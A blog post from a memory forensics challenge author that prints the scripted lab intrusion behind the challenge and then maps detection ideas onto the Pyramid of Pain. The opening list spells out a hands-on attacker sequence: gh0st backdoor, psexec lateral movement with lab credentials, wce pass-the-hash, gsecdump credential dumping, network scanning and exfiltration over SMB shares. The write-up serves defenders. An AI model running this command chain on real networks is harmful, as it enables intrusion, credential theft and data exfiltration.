Detecting Your Adversaries

I tweeted earlier today that I was starting to work on a new memory forensics challenge. While brainstorming on what I wanted to do with this I remembered that I had scripted out my last challenge in kind of a step by step order. I actually built a dev environment for testing so that when it came time to create the real challenge artifacts it would seem more realistic as you wouldn’t see all of my mistakes. So I decided to dig out that old script and see if there was anything in there I wanted to reuse. When going through the script I though it would make a good blog post regarding detecting the activity of this fictitious actor.

1. Open mail on xp victim
2. Open remote gh0st shell
3. cd ..
4. mkdir webui
5. cd webui
6. ipconfig
7. Open gh0st file transfer
8. transfer psexec.exe, scanline.exe, wce.exe, rar.exe to c:\windows\webui
9. ipconfig >> netuse.dll
10. net view >> netuse.dll
11. net loacl group administrators >> netuse.dll
12. net sessions >> netuse.dll
13. net share >> netuse.dll
14. net start >> netuse.dll
15. sl.exe -bht 445,80,443,21,1433 192.168.56.1-254 >> netuse.dll
16. gsecdump.exe -a >> netuse.dll
17. transfer netuse.dll back to C2
18. ping 2k3dc
19. ping 2k3-iis
20. psexec.exe \\192.168.56.10 -u petro-market\bcall -p 2awes0me -accepteula cmd /c ipconfig
21. psexec.exe \\192.168.56.12 -u petro-market\bcall -p 2awes0me -accepteula cmd /c ipconfig
22. wce.exe -s sysbackup:current:aad3b435b51404eeaad3b435b51404ee:58084ba4f441deb663cf89894c6efdee
23. psexec.exe \\192.168.56.10 -u sysbackup -p Sw0rd-F1sh -accepteula cmd /c ipconfig
24. psexec.exe \\192.168.56.12 -u sysbackup -p Sw0rd-F1sh -accepteula cmd /c ipconfig
25. transfer system1.bat from C2 to c:\windows
26. psexec.exe \\192.168.56.12 -u sysbackup -p Sw0rd-F1sh -accepteula -c c:\windows\system1.bat
27. transfer system2.bat from C2 to c:\windows
28. net use z:\\192.168.56.12\z /USER:sysbackup Sw0rd-F1sh
29. copy z:\netuse.dll c:\windows\webui (exfil)
30. copy rar.exe, gsecdump.exe, wce.exe z:
31. psexec.exe \\192.168.56.12 -u sysbackup -p Sw0rd-F1sh -accepteula -c c:\windows\webui\system2.bat
32. copy z:\system.dll c:\windows\webui (exfil)
33. copy system3.bat, system4.bat, system5.bat from C2 to c:\windows
34. psexec.exe \\192.168.56.12 -u sysbackup -p Sw0rd-F1sh -accepteula -c c:\windows\system3.bat
35. copy z:\https.dll c:\windows\webui (exfil)
36. psexec.exe \\192.168.56.12 -u sysbackup -p Sw0rd-F1sh -accepteula -c c:\windows\system4.bat
37. copy z:\netstat.dll c:\windows\webui (exfil)
38. psexec.exe \\192.168.56.12 -u sysbackupp Sw0rd-F1sh -accepteula -c c:\windows\system5.bat

Looking at the above commands and having the benefit of already doing the analysis (see my previous blog posts Analyzing Malicious Processes, Malicious Tool Execution and Output and Incident Discovery Phase) we can kind of break down what happened. Note: the above was used during testing so ip’s and passwords won’t match if you are comparing with the actual challenge.

Step 1: (1) Backdoor is installed and C2 is established.
Step 2: (2) Adversary takes control of machine.
Step 3: (4 – 8) Tool drop directory is created and tools are placed on machine.
Step 4: (9 – 17) Basic system/network information is collected and exfil’d to adversary.
Step 5: (18 – 21) Connectivity is tested to 2 seperate machines.
Step 6: (22) Adversary switches to local sysbackup user via wce which elevates privileges.
Step 7. (23 – 24) sysbackup user access is tested against previous 2 machines.
Step 8. (25 – 26) System information is collected from remote host.
Step 9. (27) Batch script is copied to machine with gh0st backdoor installed.
Step 10: (28) Remote share is mounted (created as part system1.bat).
Step 11: (29) System information is collected from 192.168.56.12 and sent to adversary.
Step 12: (30) Additional tools are copied to 192.168.56.12.
Step 13: (31 – 32) gsecdump.exe is executed and output is exfil’d to adversary.
Step 14: (33) Additional batch scripts are copied to machine with gh0st backdoor installed.
Step 15: (34 – 35) Directory listing is created and exfil’d to adversary.
Step 16: (36 – 37) Rar.exe is executed and target data is exfil’d to adversary.
Step 17: (38) wce.exe is scheduled to run via an at job that will collect user hashes as the log in.

Now that we have an understanding of the intrusion, how can we attempt to detect this activity the next time they pay our org a visit? If you have not read David Bianco’s Pyramid of Pain, I highly recommend that you read it. In his post he talks about the different levels of the pyramid at which you can detect adversary activity. Lets take a look at this intrusion using David’s pyramid.

The bottom level of the pyramid, or the easiest to detect, is hashes. Looking at what tools were used we can see that there was wce.exe, gsecdump.exe, rar.exe, scanline.exe, psexec.exe and a version of gh0st. Of these tools I would bet that rar.exe and psexec.exe may send many of you on wild goose chases if you were to only use the hash for detection. The remaining tool hashes, depending on your environment, may be great for detection. So how can we detect hashes? A few thoughts that come to my mind are:

1. Many hips or av engines will hash files and you can use the logs to generate alerts for specific ones.
2. Custom or commercial host scanning tool such as MIR
3. I believe Bro has the ability to hash files seen in network traffic

The second level of the pyramid are ip addresses. Certainly you should include any ip addresses the adversary has used during an intrusion as part of your detection ruleset. Here we would include the C2 ip address the malicious domain resolves to.

The third level of the pyramid are domain names. Again, include any domains tied to or associated with adversary activity.

The fourth level of the pyramid is hos/networkt artifacts. There are many here so I will start listing them.

1. The c:\windows\webui directory
2. The tools/exfil filenames in the webui directory or the batch script naming convention.
3. PSEXECSVC.exe service being started
4. The gh0st backdoor

The following are places wehre I may be able to detect and alert on these indicators.

1. AV logs that include directory or filenames
2. HIPS logs that include directory or filenames
3. Autorun logs
4. Host scanning tools
5. Network detection signatures that fire on tool or directory names when tools are moved around
6. Windows system log event id 7035 (Service Control Manager) or security log event id 601/4697 for PSEXECSVC.exe or wce.exe
7. Network detection signatures that will alert on gh0st backdoor traffic

The fifth level of the pyramid is tools. For this we are talking about the tools that the intruder brought in with him.

1. Gh0st backdoor
2. psexec.exe
3. gsecdump.exe
4. scanline.exe
5. Rar.exe
6. wce.exe
7. system1-5.bat

Again, some of the ways that we can attempt to detect these tools are:

1. AV logs alerting on specific street names for the malware.
2. Network detection that will alert on the tool and not necessarily the name of the tool. You can use snort to identify strings within the binaries or even bro to try and detect the batch scripts.
3. Network detection that will alert on internal scanning activity (you will probably need to do some whitelisting for this one)

The sixth and top level of the pyramid is TTP’s (techniques, tactics and procedures). This is where we want to detect how they act when they are in our network. So how did this fictitious actor operate once the gained access to the network?

1. They moved laterally via the use of psexec.
2. They elevated privileges to a local admin user via wce.
3. They dumped hashes with gsecdump against every machine they gained access to.
4. They created smb shares and moved data across these shares.
5. They executed commands against remote machines via batch scripts.
6. All data exfil’d were in files with .dll extensions.
7. They scheduled “at” jobs to run wce.

The top of the pyramid is where you need to get creative when trying to detect these “TTP’s”. As with many of the other levels, attempting to detect this behavior can produce a lot of false positives if you aren’t careful when you write your detection signatures. Often you are trying to weed through legitimate behavior, trying to spot the instance with malicious intent. Here are some ideas that I may use when going about trying to detect this activity.

1. Windows can create a security log event with an id of 602/4702 when a new scheduled task is created. Alert on events that are named with At[1-9]{1}.job as this would indicate the task was created via the use of the “at” command.
2. Windows can create a security log event with an id of 5140 (Server 2008 and above) when a new share is created. Alert on events where shares are created by non domain users.
3. Use bro to try and detect the system gathering information being moved across the network by keying off strings that would be included in ipconfig followed by a regex pattern of a windows hash within a certain number of bytes.
4. This may be more difficult in a sense that it may produce many false positives, but psexec will produce a windows security log event with an id of 540/4624 when authenticating to the remote machine. Try and detect these network logons via non domain users. With whitelisting you may be able to tune the rule to be more accurate, unless they comp and use one of the accounts you have whitelisted.

Detecting these compromises is not an easy task, but understanding how these actors operate can be the difference of them walking out the door with your data or stopping them before they can accomplish their objective. For activity that has been identified, but does not make sense for detection due to the high false positive rate, don’t forget about hunting through your logs or network traffic for signs of activity. In my opinion, hunting is a continuous effort and vital in finding this activity.

Uncategorized